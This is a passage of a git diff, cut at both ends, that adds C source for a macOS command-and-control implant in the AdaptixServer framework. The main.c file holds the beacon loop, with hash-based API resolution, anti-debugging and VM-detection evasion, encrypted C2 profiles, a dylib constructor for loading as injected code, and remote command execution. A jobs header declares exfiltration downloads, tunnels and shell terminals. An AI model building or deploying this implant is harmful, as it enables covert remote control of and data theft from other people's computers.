+ ctx->session_key, &enc_len);
+ mp_writer_free(&msg_w);
+ if (!encrypted) return -1;
+
+ int ret = conn_send_msg(conn, encrypted, enc_len);
+ ax_free(encrypted, enc_len);
+ return ret;
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.h
new file mode 100644
index 000000000..5e4bec916
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.h
@@ -0,0 +1,138 @@
+#ifndef JOBS_H
+#define JOBS_H
+
+#include "types.h"
+#include "connector.h"
+#include "msgpack.h"
+#include
+#include
+
+/// Job management system — pthread-based async tasks
+/// Matches Go agent's DOWNLOADS, JOBS, TUNNELS, TERMINALS maps
+
+#define MAX_JOBS 32
+#define MAX_TUNNELS 16
+#define MAX_TERMINALS 8
+
+/// Job types (maps to pack types)
+#define JOB_TYPE_DOWNLOAD EXFIL_PACK // 2
+#define JOB_TYPE_RUN JOB_PACK // 3
+#define JOB_TYPE_TUNNEL JOB_TUNNEL // 4
+#define JOB_TYPE_TERMINAL JOB_TERMINAL // 5
+
+/// Job state
+typedef struct {
+ char job_id[64]; // task ID (hex string from server)
+ int job_type; // JOB_TYPE_*
+ int active; // 1 = running, 0 = finished/canceled
+ int canceled; // 1 = cancel requested
+ pthread_t thread; // worker thread
+ connector_t conn; // separate C2 connection for this job
+} job_entry_t;
+
+/// Tunnel controller (matches Go's TunnelController)
+typedef struct {
+ int channel_id;
+ int active;
+ int paused; // atomic-ish pause flag
+ int canceled;
+ pthread_t thread;
+ connector_t srv_conn; // connection to C2
+ int client_fd; // connection to target
+} tunnel_entry_t;
+
+/// Terminal controller
+typedef struct {
+ int term_id;
+ int active;
+ int canceled;
+ pthread_t thread;
+ connector_t srv_conn; // connection to C2
+ int pty_master; // PTY master fd
+ int child_pid; // shell process pid
+} terminal_entry_t;
+
+/// Upload staging (synchronous — data received in command loop)
+typedef struct {
+ char task_id[64];
+ uint8_t* data;
+ size_t data_len;
+ size_t data_cap;
+} upload_entry_t;
+
+/// Global job context — shared state needed by async threads
+typedef struct {
+ // Agent identity (for init packs)
+ uint32_t agent_id;
+ uint32_t profile_type;
+ uint8_t enc_key[16]; // profile encryption key
+ uint8_t session_key[16]; // session key (SKey)
+
+ // Connection info for spawning new connections
+ char address[256]; // current C2 address
+ int banner_size; // banner to discard on new connections
+
+ // Job tracking
+ job_entry_t jobs[MAX_JOBS];
+ int job_count;
+ pthread_mutex_t jobs_mutex;
+
+ // Tunnel tracking
+ tunnel_entry_t tunnels[MAX_TUNNELS];
+ int tunnel_count;
+ pthread_mutex_t tunnels_mutex;
+
+ // Terminal tracking
+ terminal_entry_t terminals[MAX_TERMINALS];
+ int terminal_count;
+ pthread_mutex_t terminals_mutex;
+
+ // Upload staging
+ upload_entry_t uploads[MAX_JOBS];
+ int upload_count;
+} job_context_t;
+
+/// Initialize job context (call once at startup)
+void jobs_init(job_context_t* ctx);
+
+/// Update connection info when profile/address changes
+void jobs_update_connection(job_context_t* ctx, const char* address,
+ int banner_size, const uint8_t* enc_key,
+ uint32_t profile_type);
+
+/// Open a new C2 connection for an async job
+/// Handles banner, sends init pack (ExfilPack/JobPack/TunnelPack/TermPack)
+int jobs_open_connection(job_context_t* ctx, connector_t* conn);
+
+/// Find a free job slot (returns index or -1)
+int jobs_alloc(job_context_t* ctx);
+
+/// Find job by ID (returns index or -1)
+int jobs_find(job_context_t* ctx, const char* job_id);
+
+/// Remove job by index
+void jobs_remove(job_context_t* ctx, int idx);
+
+/// Find tunnel by channel_id
+int tunnels_find(job_context_t* ctx, int channel_id);
+
+/// Find terminal by term_id
+int terminals_find(job_context_t* ctx, int term_id);
+
+/// Build and send a job message on a separate connection
+/// Message format: Message{Type:2, Object:[Job{command_id, job_id, data}]}
+/// Encrypted with session_key
+int jobs_send_message(job_context_t* ctx, connector_t* conn,
+ uint32_t command_id, const char* job_id,
+ const uint8_t* data, uint32_t data_len);
+
+/// Build and send the init pack for an async job
+/// StartMsg{Type: pack_type, Data: msgpack(pack)}
+/// Encrypted with enc_key
+int jobs_send_init(job_context_t* ctx, connector_t* conn,
+ int pack_type, const uint8_t* pack_data, uint32_t pack_len);
+
+/// Global job context (set in main.c)
+extern job_context_t g_job_ctx;
+
+#endif // JOBS_H
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/main.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/main.c
new file mode 100644
index 000000000..de0c80c5b
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/main.c
@@ -0,0 +1,584 @@
+#include "types.h"
+#include "crt.h"
+#include "msgpack.h"
+#include "crypt.h"
+#include "connector.h"
+#include "agent_info.h"
+#include "commander.h"
+#include "jobs.h"
+#include "opsec.h"
+#include "dyld_resolve.h"
+#include "config.h"
+
+#include
+
+/// ---- Debug tracing (temporary — uses direct syscall to stderr) ----
+/// Writes a short marker to stderr to trace execution flow
+/// Remove after debugging is complete
+#ifdef DEBUG_TRACE
+#include "syscalls_arm64.h"
+static void dbg(const char* msg) {
+ size_t len = 0;
+ const char* p = msg;
+ while (*p++) len++;
+ sys_write(2, msg, len);
+ sys_write(2, "\n", 1);
+}
+#else
+#define dbg(msg) ((void)0)
+#endif
+
+/// Global state
+static int ACTIVE = 1;
+
+/// Decode an encrypted profile blob
+/// Input: [key 16B][AES-128-GCM encrypted msgpack(Profile)]
+/// Extracts: addresses[], banner_size, conn_timeout, conn_count, use_ssl, type
+typedef struct {
+ uint32_t type;
+ char** addresses;
+ uint32_t addr_count;
+ int banner_size;
+ int conn_timeout;
+ int conn_count;
+ int use_ssl;
+ uint8_t enc_key[16]; // profile encryption key
+} profile_t;
+
+static int decode_profile(const uint8_t* enc_data, uint32_t enc_size, profile_t* prof) {
+#ifdef DEBUG_TRACE
+ // Debug: print profile size and first bytes
+ {
+ char tmp[128];
+ char hex[] = "0123456789abcdef";
+ int pos = 0;
+ const char* prefix = " prof_size=";
+ while (*prefix) tmp[pos++] = *prefix++;
+ // itoa inline for enc_size
+ char numbuf[16]; int ni = 0;
+ uint32_t v = enc_size;
+ do { numbuf[ni++] = '0' + (v % 10); v /= 10; } while (v > 0);
+ while (ni > 0) tmp[pos++] = numbuf[--ni];
+ tmp[pos++] = ' '; tmp[pos++] = 'k'; tmp[pos++] = 'e'; tmp[pos++] = 'y'; tmp[pos++] = '=';
+ for (int b = 0; b < 4 && b < (int)enc_size; b++) {
+ tmp[pos++] = hex[(enc_data[b] >> 4) & 0xf];
+ tmp[pos++] = hex[enc_data[b] & 0xf];
+ }
+ tmp[pos++] = '.'; tmp[pos++] = '.';
+ tmp[pos] = '\0';
+ dbg(tmp);
+ }
+#endif
+ if (enc_size < 16 + GCM_NONCE_SIZE + GCM_TAG_SIZE) { dbg(" [!] too small"); return -1; }
+
+ dbg(" [D1] memcpy key");
+ // Extract key (first 16 bytes)
+ ax_memcpy(prof->enc_key, enc_data, 16);
+
+ // Decrypt the rest
+ dbg(" [D2] calling gcm_decrypt");
+ size_t pt_len;
+ uint8_t* plaintext = aes128_gcm_decrypt(enc_data + 16, enc_size - 16, prof->enc_key, &pt_len);
+ if (!plaintext) { dbg(" [!] decrypt FAILED (tag mismatch?)"); return -1; }
+ dbg(" [D3] decrypt OK");
+
+#ifdef DEBUG_TRACE
+ {
+ char ptbuf[64];
+ int pi = 0;
+ const char* pp = " [D3a] pt_len=";
+ while (*pp) ptbuf[pi++] = *pp++;
+ size_t pv = pt_len;
+ char nb[16]; int ni = 0;
+ do { nb[ni++] = '0' + (pv % 10); pv /= 10; } while (pv > 0);
+ while (ni > 0) ptbuf[pi++] = nb[--ni];
+ ptbuf[pi] = '\0';
+ dbg(ptbuf);
+ }
+#endif
+
+ // Parse msgpack Profile struct
+ dbg(" [D4] mp_reader_init");
+ mp_reader_t r;
+ mp_reader_init(&r, plaintext, pt_len);
+
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) {
+ dbg(" [!] mp_read_map failed");
+ ax_free(plaintext, pt_len);
+ return -1;
+ }
+ dbg(" [D5] parsing fields");
+
+ // Initialize defaults
+ prof->type = 0;
+ prof->addresses = (char**)0;
+ prof->addr_count = 0;
+ prof->banner_size = 0;
+ prof->conn_timeout = 10;
+ prof->conn_count = 1000000000;
+ prof->use_ssl = 0;
+
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char* key;
+ uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) break;
+
+ if (klen == 4 && ax_memcmp(key, "type", 4) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); prof->type = (uint32_t)v;
+ } else if (klen == 9 && ax_memcmp(key, "addresses", 9) == 0) {
+ uint32_t arr_count;
+ if (mp_read_array(&r, &arr_count) == 0) {
+ prof->addresses = (char**)ax_malloc(arr_count * sizeof(char*));
+ prof->addr_count = arr_count;
+ for (uint32_t j = 0; j < arr_count; j++) {
+ const char* addr; uint32_t alen;
+ mp_read_str(&r, &addr, &alen);
+ prof->addresses[j] = (char*)ax_malloc(alen + 1);
+ ax_memcpy(prof->addresses[j], addr, alen);
+ prof->addresses[j][alen] = '\0';
+ }
+ }
+ } else if (klen == 11 && ax_memcmp(key, "banner_size", 11) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); prof->banner_size = (int)v;
+ } else if (klen == 12 && ax_memcmp(key, "conn_timeout", 12) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); prof->conn_timeout = (int)v;
+ } else if (klen == 10 && ax_memcmp(key, "conn_count", 10) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); prof->conn_count = (int)v;
+ } else if (klen == 7 && ax_memcmp(key, "use_ssl", 7) == 0) {
+ bool v; mp_read_bool(&r, &v); prof->use_ssl = v ? 1 : 0;
+ } else {
+ mp_skip(&r);
+ }
+ }
+ dbg(" [D6] fields parsed, freeing plaintext");
+
+#ifdef DEBUG_TRACE
+ // Debug: check the alloc header before freeing
+ {
+ typedef struct { size_t total_size; } _ahdr_t;
+ #define _HSIZE ((sizeof(_ahdr_t) + 15) & ~15)
+ _ahdr_t* _hdr = (_ahdr_t*)((uint8_t*)plaintext - _HSIZE);
+ char fbuf[80];
+ int fi = 0;
+ const char* fp = " [D6a] free: total_size=";
+ while (*fp) fbuf[fi++] = *fp++;
+ size_t fv = _hdr->total_size;
+ char nb[20]; int ni = 0;
+ do { nb[ni++] = '0' + (fv % 10); fv /= 10; } while (fv > 0);
+ while (ni > 0) fbuf[fi++] = nb[--ni];
+ const char* ep = " expected=";
+ while (*ep) fbuf[fi++] = *ep++;
+ fv = _HSIZE + pt_len;
+ ni = 0;
+ do { nb[ni++] = '0' + (fv % 10); fv /= 10; } while (fv > 0);
+ while (ni > 0) fbuf[fi++] = nb[--ni];
+ fbuf[fi] = '\0';
+ dbg(fbuf);
+ #undef _HSIZE
+ }
+#endif
+
+ ax_free(plaintext, pt_len);
+ dbg(" [D7] decode_profile done");
+ return 0;
+}
+
+static void free_profile(profile_t* prof) {
+ if (prof->addresses) {
+ for (uint32_t i = 0; i < prof->addr_count; i++) {
+ if (prof->addresses[i]) {
+ ax_free(prof->addresses[i], ax_strlen(prof->addresses[i]) + 1);
+ }
+ }
+ ax_free(prof->addresses, prof->addr_count * sizeof(char*));
+ }
+}
+
+/// Build the init message: msgpack(StartMsg{type:1, data:msgpack(InitPack{id, type, data:sessionInfo})})
+static int build_init_msg(uint32_t agent_id, uint32_t profile_type,
+ const uint8_t* session_info, size_t si_len,
+ const uint8_t* enc_key,
+ uint8_t** out_msg, size_t* out_len) {
+ // Inner: InitPack — declaration order: Id, Type, Data → tags: id, type, data
+ mp_writer_t inner;
+ mp_writer_init(&inner, 256);
+ mp_write_map(&inner, 3);
+ mp_write_kv_uint(&inner, "id", agent_id);
+ mp_write_kv_uint(&inner, "type", profile_type);
+ mp_write_kv_bin(&inner, "data", session_info, (uint32_t)si_len);
+
+ // Outer: StartMsg — declaration order: Type, Data → tags: id, data
+ mp_writer_t outer;
+ mp_writer_init(&outer, 256);
+ mp_write_map(&outer, 2);
+ mp_write_kv_int(&outer, "id", INIT_PACK);
+ mp_write_kv_bin(&outer, "data", inner.buf.data, (uint32_t)inner.buf.len);
+
+ mp_writer_free(&inner);
+
+ // Encrypt with profile key
+ size_t enc_len;
+ uint8_t* encrypted = aes128_gcm_encrypt(outer.buf.data, outer.buf.len, enc_key, &enc_len);
+ mp_writer_free(&outer);
+
+ if (!encrypted) return -1;
+
+ *out_msg = encrypted;
+ *out_len = enc_len;
+ return 0;
+}
+
+/// Parse Message{type: int8, object: [][]byte} from decrypted data
+static int parse_message(const uint8_t* data, size_t len,
+ int8_t* msg_type,
+ const uint8_t*** objects, uint32_t** obj_sizes,
+ uint32_t* obj_count) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, len);
+
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) return -1;
+
+ *msg_type = 0;
+ *objects = (const uint8_t**)0;
+ *obj_sizes = (uint32_t*)0;
+ *obj_count = 0;
+
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char* key;
+ uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) return -1;
+
+ if (klen == 6 && ax_memcmp(key, "object", 6) == 0) {
+ uint32_t arr_count;
+ if (mp_read_array(&r, &arr_count) != 0) return -1;
+
+ *objects = (const uint8_t**)ax_malloc(arr_count * sizeof(uint8_t*));
+ *obj_sizes = (uint32_t*)ax_malloc(arr_count * sizeof(uint32_t));
+ *obj_count = arr_count;
+
+ for (uint32_t j = 0; j < arr_count; j++) {
+ const uint8_t* bin_data;
+ uint32_t bin_len;
+ if (mp_read_bin(&r, &bin_data, &bin_len) != 0) return -1;
+ (*objects)[j] = bin_data;
+ (*obj_sizes)[j] = bin_len;
+ }
+ } else if (klen == 4 && ax_memcmp(key, "type", 4) == 0) {
+ int64_t v;
+ if (mp_read_int(&r, &v) != 0) return -1;
+ *msg_type = (int8_t)v;
+ } else {
+ mp_skip(&r);
+ }
+ }
+ return 0;
+}
+
+/// Parse a single Command from msgpack: {code: uint, id: uint, data: []byte}
+static int parse_command(const uint8_t* data, size_t len,
+ uint32_t* code, uint32_t* cmd_id,
+ const uint8_t** cmd_data, uint32_t* cmd_data_len) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, len);
+
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) return -1;
+
+ *code = 0; *cmd_id = 0; *cmd_data = (uint8_t*)0; *cmd_data_len = 0;
+
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char* key;
+ uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) return -1;
+
+ if (klen == 4 && ax_memcmp(key, "code", 4) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); *code = (uint32_t)v;
+ } else if (klen == 2 && ax_memcmp(key, "id", 2) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); *cmd_id = (uint32_t)v;
+ } else if (klen == 4 && ax_memcmp(key, "data", 4) == 0) {
+ mp_read_bin(&r, cmd_data, cmd_data_len);
+ } else {
+ mp_skip(&r);
+ }
+ }
+ return 0;
+}
+
+/// ---- Main entry point ----
+
+static int agent_main(void);
+
+#ifdef BUILD_DYLIB
+// Dylib/shellcode mode: constructor runs when dylib is loaded via dlopen()
+// Equivalent to DllMain(DLL_PROCESS_ATTACH) on Windows beacon
+__attribute__((constructor))
+static void dylib_entry(void) {
+ agent_main();
+}
+#else
+// Standard executable mode
+int main(void) {
+ return agent_main();
+}
+#endif
+
+static int agent_main(void) {
+ dbg("[1] dyld_resolver_init");
+ // OPSEC: initialize dyld hash-based API resolver (MUST be first — opsec uses R_* macros)
+ if (dyld_resolver_init() != 0) { dbg("[!] dyld_resolver_init FAILED"); return 0; }
+ dbg("[2] dyld_resolver_init OK");
+
+ // OPSEC: anti-debug, VM detection
+ dbg("[3] opsec_check");
+ if (opsec_check() != 0) { dbg("[!] opsec_check FAILED"); return 0; }
+ dbg("[4] opsec_check OK");
+
+ // Decode profiles from config
+ profile_t profiles[8];
+ uint32_t profile_count = 0;
+
+ // Debug: print PROFILE_COUNT to verify correct config.h was used
+#ifdef DEBUG_TRACE
+ {
+ char pcbuf[64];
+ int pci = 0;
+ const char* pcp = "[5a] PROFILE_COUNT=";
+ while (*pcp) pcbuf[pci++] = *pcp++;
+ int pc = PROFILE_COUNT;
+ if (pc == 0) { pcbuf[pci++] = '0'; }
+ else {
+ char nb[8]; int ni = 0;
+ while (pc > 0) { nb[ni++] = '0' + (pc % 10); pc /= 10; }
+ while (ni > 0) pcbuf[pci++] = nb[--ni];
+ }
+ pcbuf[pci] = '\0';
+ dbg(pcbuf);
+ }
+#endif
+ dbg("[5b] before loop");
+#if PROFILE_COUNT > 0
+ dbg("[5c] entering loop");
+ for (int i = 0; i < PROFILE_COUNT && i < 8; i++) {
+#ifdef DEBUG_TRACE
+ {
+ char ibuf[64];
+ int ii = 0;
+ const char* ip = "[5d] profile i=";
+ while (*ip) ibuf[ii++] = *ip++;
+ ibuf[ii++] = '0' + i;
+ const char* sp = " size=";
+ while (*sp) ibuf[ii++] = *sp++;
+ uint32_t sz = enc_profile_sizes[i];
+ char nb[12]; int ni = 0;
+ do { nb[ni++] = '0' + (sz % 10); sz /= 10; } while (sz > 0);
+ while (ni > 0) ibuf[ii++] = nb[--ni];
+ ibuf[ii] = '\0';
+ dbg(ibuf);
+ }
+#endif
+ if (decode_profile(enc_profiles[i], enc_profile_sizes[i], &profiles[profile_count]) == 0) {
+ dbg("[5e] profile decoded OK");
+ profile_count++;
+ } else {
+ dbg("[5e] profile decode FAILED");
+ }
+ }
+#endif
+
+ if (profile_count == 0) { dbg("[!] profile_count == 0"); return 1; }
+ dbg("[6] profiles decoded OK");
+
+ // Create session info
+ mp_writer_t si_writer;
+ mp_writer_init(&si_writer, 512);
+ uint8_t session_key[16];
+ dbg("[7] create_session_info");
+ if (create_session_info(&si_writer, session_key) != 0) { dbg("[!] session_info FAILED"); return 1; }
+ dbg("[8] session_info OK");
+
+ // Generate random agent ID
+ uint8_t id_buf[4];
+ ax_random_bytes(id_buf, 4);
+ uint32_t agent_id = ((uint32_t)id_buf[0] << 24) | ((uint32_t)id_buf[1] << 16) |
+ ((uint32_t)id_buf[2] << 8) | id_buf[3];
+
+ // Keep session info for reuse across profile rotations (Go agent does the same)
+ uint8_t* session_info_data = (uint8_t*)ax_malloc(si_writer.buf.len);
+ size_t session_info_len = si_writer.buf.len;
+ ax_memcpy(session_info_data, si_writer.buf.data, si_writer.buf.len);
+ mp_writer_free(&si_writer);
+
+ // Initialize job context for async operations
+ jobs_init(&g_job_ctx);
+ g_job_ctx.agent_id = agent_id;
+ ax_memcpy(g_job_ctx.session_key, session_key, 16);
+
+ // Build init message
+ uint32_t prof_idx = 0;
+ profile_t* prof = &profiles[prof_idx];
+
+ uint8_t* init_msg = (uint8_t*)0;
+ size_t init_msg_len = 0;
+ dbg("[9] build_init_msg");
+ build_init_msg(agent_id, prof->type,
+ session_info_data, session_info_len,
+ prof->enc_key,
+ &init_msg, &init_msg_len);
+
+ if (!init_msg) { dbg("[!] init_msg NULL"); ax_free(session_info_data, session_info_len); return 1; }
+ dbg("[10] init_msg OK, entering connect loop");
+
+ // Main reconnect loop
+ uint32_t addr_idx = 0;
+
+ for (int attempt = 0; attempt < prof->conn_count && ACTIVE; attempt++) {
+ if (attempt > 0) {
+ R_sleep((unsigned int)prof->conn_timeout);
+ addr_idx++;
+ if (addr_idx >= prof->addr_count) {
+ addr_idx = 0;
+ // Rotate to next profile (same sessionInfo, different enc key)
+ prof_idx = (prof_idx + 1) % profile_count;
+ prof = &profiles[prof_idx];
+
+ ax_free(init_msg, init_msg_len);
+ build_init_msg(agent_id, prof->type,
+ session_info_data, session_info_len,
+ prof->enc_key,
+ &init_msg, &init_msg_len);
+ }
+ }
+
+ // Update job context with current connection info
+ jobs_update_connection(&g_job_ctx, prof->addresses[addr_idx],
+ prof->banner_size, prof->enc_key, prof->type);
+
+ // Connect
+ dbg("[11] conn_open");
+ connector_t conn;
+ if (conn_open(&conn, prof->addresses[addr_idx]) != 0) { dbg("[!] conn_open FAILED"); continue; }
+ dbg("[12] connected OK");
+
+ // Reset attempt counter on successful connect
+ attempt = 0;
+
+ // Read banner
+ if (prof->banner_size > 0) {
+ dbg("[13] discard banner");
+ if (conn_discard(&conn, (size_t)prof->banner_size) != 0) {
+ dbg("[!] banner discard FAILED");
+ conn_close(&conn);
+ continue;
+ }
+ }
+
+ // Send init
+ dbg("[14] send init");
+ if (conn_send_msg(&conn, init_msg, init_msg_len) != 0) {
+ dbg("[!] send init FAILED");
+ conn_close(&conn);
+ continue;
+ }
+ dbg("[15] init sent OK, entering command loop");
+
+ // Command loop
+ while (ACTIVE) {
+ uint8_t* recv_data = (uint8_t*)0;
+ size_t recv_len = 0;
+
+ if (conn_recv_msg(&conn, &recv_data, &recv_len) != 0) break;
+
+ // Decrypt with session key
+ size_t plain_len;
+ uint8_t* plaintext = aes128_gcm_decrypt(recv_data, recv_len, session_key, &plain_len);
+ ax_free(recv_data, recv_len);
+ if (!plaintext) break;
+
+ // Parse Message
+ int8_t msg_type;
+ const uint8_t** objects = (const uint8_t**)0;
+ uint32_t* obj_sizes = (uint32_t*)0;
+ uint32_t obj_count = 0;
+
+ if (parse_message(plaintext, plain_len, &msg_type, &objects, &obj_sizes, &obj_count) != 0) {
+ ax_free(plaintext, plain_len);
+ break;
+ }
+
+ // Build response Message — declaration order: type, object
+ mp_writer_t msg_writer;
+ mp_writer_init(&msg_writer, 1024);
+ mp_write_map(&msg_writer, 2);
+
+ if (msg_type == 1 && obj_count > 0) {
+ // "type" first (declaration order)
+ mp_write_kv_int(&msg_writer, "type", 1);
+
+ // "object" array
+ mp_write_str(&msg_writer, "object", 6);
+ mp_write_array(&msg_writer, obj_count);
+
+ for (uint32_t i = 0; i < obj_count; i++) {
+ uint32_t code, cmd_id;
+ const uint8_t* cmd_data;
+ uint32_t cmd_data_len;
+ parse_command(objects[i], obj_sizes[i],
+ &code, &cmd_id, &cmd_data, &cmd_data_len);
+
+ mp_writer_t cmd_resp;
+ mp_writer_init(&cmd_resp, 256);
+
+ int ret = handle_command(code, cmd_id, cmd_data, cmd_data_len, &cmd_resp);
+ if (ret == -99) ACTIVE = 0;
+
+ // Wrap response in Command{code, id, data} — server expects this format
+ mp_writer_t wrapped;
+ mp_writer_init(&wrapped, 256);
+ mp_write_map(&wrapped, 3);
+ mp_write_kv_uint(&wrapped, "code", code);
+ mp_write_kv_uint(&wrapped, "id", cmd_id);
+ mp_write_kv_bin(&wrapped, "data", cmd_resp.buf.data, (uint32_t)cmd_resp.buf.len);
+
+ mp_write_bin(&msg_writer, wrapped.buf.data, (uint32_t)wrapped.buf.len);
+ mp_writer_free(&cmd_resp);
+ mp_writer_free(&wrapped);
+ }
+ } else {
+ // Empty response
+ mp_write_kv_int(&msg_writer, "type", 0);
+ mp_write_str(&msg_writer, "object", 6);
+ mp_write_array(&msg_writer, 0);
+ }
+
+ // Encrypt and send
+ {
+ size_t enc_len;
+ uint8_t* encrypted = aes128_gcm_encrypt(msg_writer.buf.data, msg_writer.buf.len,
+ session_key, &enc_len);
+ mp_writer_free(&msg_writer);
+
+ if (encrypted) {
+ conn_send_msg(&conn, encrypted, enc_len);
+ ax_free(encrypted, enc_len);
+ }
+ }
+
+ // Cleanup
+ if (objects) ax_free((void*)objects, obj_count * sizeof(uint8_t*));
+ if (obj_sizes) ax_free(obj_sizes, obj_count * sizeof(uint32_t));
+ ax_free(plaintext, plain_len);
+ }
+
+ conn_close(&conn);
+ }
+
+ // Cleanup
+ ax_free(init_msg, init_msg_len);
+ ax_free(session_info_data, session_info_len);
+ for (uint32_t i = 0; i < profile_count; i++)
+ free_profile(&profiles[i]);
+
+ return 0;
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.c
new file mode 100644
index 000000000..7698c98d1
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.c
@@ -0,0 +1,535 @@
+#include "msgpack.h"
+
+/// ---- Writer ----
+
+int mp_writer_init(mp_writer_t* w, size_t cap) {
+ return buf_init(&w->buf, cap);
+}
+
+void mp_writer_free(mp_writer_t* w) {
+ buf_free(&w->buf);
+}
+
+static int write_byte(mp_writer_t* w, uint8_t b) {
+ return buf_append(&w->buf, &b, 1);
+}
+
+static int write_bytes(mp_writer_t* w, const void* data, size_t len) {
+ return buf_append(&w->buf, data, len);
+}
+
+static int write_u16_be(mp_writer_t* w, uint16_t val) {
+ uint8_t b[2] = { (uint8_t)(val >> 8), (uint8_t)val };
+ return write_bytes(w, b, 2);
+}
+
+static int write_u32_be(mp_writer_t* w, uint32_t val) {
+ uint8_t b[4] = {
+ (uint8_t)(val >> 24), (uint8_t)(val >> 16),
+ (uint8_t)(val >> 8), (uint8_t)val
+ };
+ return write_bytes(w, b, 4);
+}
+
+int mp_write_map(mp_writer_t* w, uint32_t count) {
+ if (count <= 15) {
+ return write_byte(w, 0x80 | (uint8_t)count); // fixmap
+ } else if (count <= 0xFFFF) {
+ if (write_byte(w, 0xDE)) return -1; // map16
+ return write_u16_be(w, (uint16_t)count);
+ } else {
+ if (write_byte(w, 0xDF)) return -1; // map32
+ return write_u32_be(w, count);
+ }
+}
+
+int mp_write_array(mp_writer_t* w, uint32_t count) {
+ if (count <= 15) {
+ return write_byte(w, 0x90 | (uint8_t)count); // fixarray
+ } else if (count <= 0xFFFF) {
+ if (write_byte(w, 0xDC)) return -1; // array16
+ return write_u16_be(w, (uint16_t)count);
+ } else {
+ if (write_byte(w, 0xDD)) return -1; // array32
+ return write_u32_be(w, count);
+ }
+}
+
+int mp_write_nil(mp_writer_t* w) {
+ return write_byte(w, 0xC0);
+}
+
+int mp_write_bool(mp_writer_t* w, bool val) {
+ return write_byte(w, val ? 0xC3 : 0xC2);
+}
+
+int mp_write_uint(mp_writer_t* w, uint64_t val) {
+ if (val <= 0x7F) {
+ return write_byte(w, (uint8_t)val); // positive fixint
+ } else if (val <= 0xFF) {
+ if (write_byte(w, 0xCC)) return -1; // uint8
+ return write_byte(w, (uint8_t)val);
+ } else if (val <= 0xFFFF) {
+ if (write_byte(w, 0xCD)) return -1; // uint16
+ return write_u16_be(w, (uint16_t)val);
+ } else if (val <= 0xFFFFFFFF) {
+ if (write_byte(w, 0xCE)) return -1; // uint32
+ return write_u32_be(w, (uint32_t)val);
+ } else {
+ if (write_byte(w, 0xCF)) return -1; // uint64
+ uint8_t b[8] = {
+ (uint8_t)(val >> 56), (uint8_t)(val >> 48),
+ (uint8_t)(val >> 40), (uint8_t)(val >> 32),
+ (uint8_t)(val >> 24), (uint8_t)(val >> 16),
+ (uint8_t)(val >> 8), (uint8_t)val
+ };
+ return write_bytes(w, b, 8);
+ }
+}
+
+int mp_write_int(mp_writer_t* w, int64_t val) {
+ if (val >= 0) {
+ return mp_write_uint(w, (uint64_t)val);
+ }
+ if (val >= -32) {
+ return write_byte(w, (uint8_t)(val & 0xFF)); // negative fixint
+ } else if (val >= -128) {
+ if (write_byte(w, 0xD0)) return -1; // int8
+ return write_byte(w, (uint8_t)(val & 0xFF));
+ } else if (val >= -32768) {
+ if (write_byte(w, 0xD1)) return -1; // int16
+ return write_u16_be(w, (uint16_t)(val & 0xFFFF));
+ } else if (val >= -2147483648LL) {
+ if (write_byte(w, 0xD2)) return -1; // int32
+ return write_u32_be(w, (uint32_t)(val & 0xFFFFFFFF));
+ } else {
+ if (write_byte(w, 0xD3)) return -1; // int64
+ uint64_t uval = (uint64_t)val;
+ uint8_t b[8] = {
+ (uint8_t)(uval >> 56), (uint8_t)(uval >> 48),
+ (uint8_t)(uval >> 40), (uint8_t)(uval >> 32),
+ (uint8_t)(uval >> 24), (uint8_t)(uval >> 16),
+ (uint8_t)(uval >> 8), (uint8_t)uval
+ };
+ return write_bytes(w, b, 8);
+ }
+}
+
+int mp_write_str(mp_writer_t* w, const char* str, uint32_t len) {
+ if (len <= 31) {
+ if (write_byte(w, 0xA0 | (uint8_t)len)) return -1; // fixstr
+ } else if (len <= 0xFF) {
+ if (write_byte(w, 0xD9)) return -1; // str8
+ if (write_byte(w, (uint8_t)len)) return -1;
+ } else if (len <= 0xFFFF) {
+ if (write_byte(w, 0xDA)) return -1; // str16
+ if (write_u16_be(w, (uint16_t)len)) return -1;
+ } else {
+ if (write_byte(w, 0xDB)) return -1; // str32
+ if (write_u32_be(w, len)) return -1;
+ }
+ if (len > 0) {
+ return write_bytes(w, str, len);
+ }
+ return 0;
+}
+
+int mp_write_bin(mp_writer_t* w, const uint8_t* data, uint32_t len) {
+ if (len <= 0xFF) {
+ if (write_byte(w, 0xC4)) return -1; // bin8
+ if (write_byte(w, (uint8_t)len)) return -1;
+ } else if (len <= 0xFFFF) {
+ if (write_byte(w, 0xC5)) return -1; // bin16
+ if (write_u16_be(w, (uint16_t)len)) return -1;
+ } else {
+ if (write_byte(w, 0xC6)) return -1; // bin32
+ if (write_u32_be(w, len)) return -1;
+ }
+ if (len > 0) {
+ return write_bytes(w, data, len);
+ }
+ return 0;
+}
+
+// Convenience: key + string value
+int mp_write_kv_str(mp_writer_t* w, const char* key, const char* val) {
+ uint32_t klen = (uint32_t)ax_strlen(key);
+ uint32_t vlen = val ? (uint32_t)ax_strlen(val) : 0;
+ if (mp_write_str(w, key, klen)) return -1;
+ return mp_write_str(w, val ? val : "", vlen);
+}
+
+int mp_write_kv_bin(mp_writer_t* w, const char* key, const uint8_t* data, uint32_t len) {
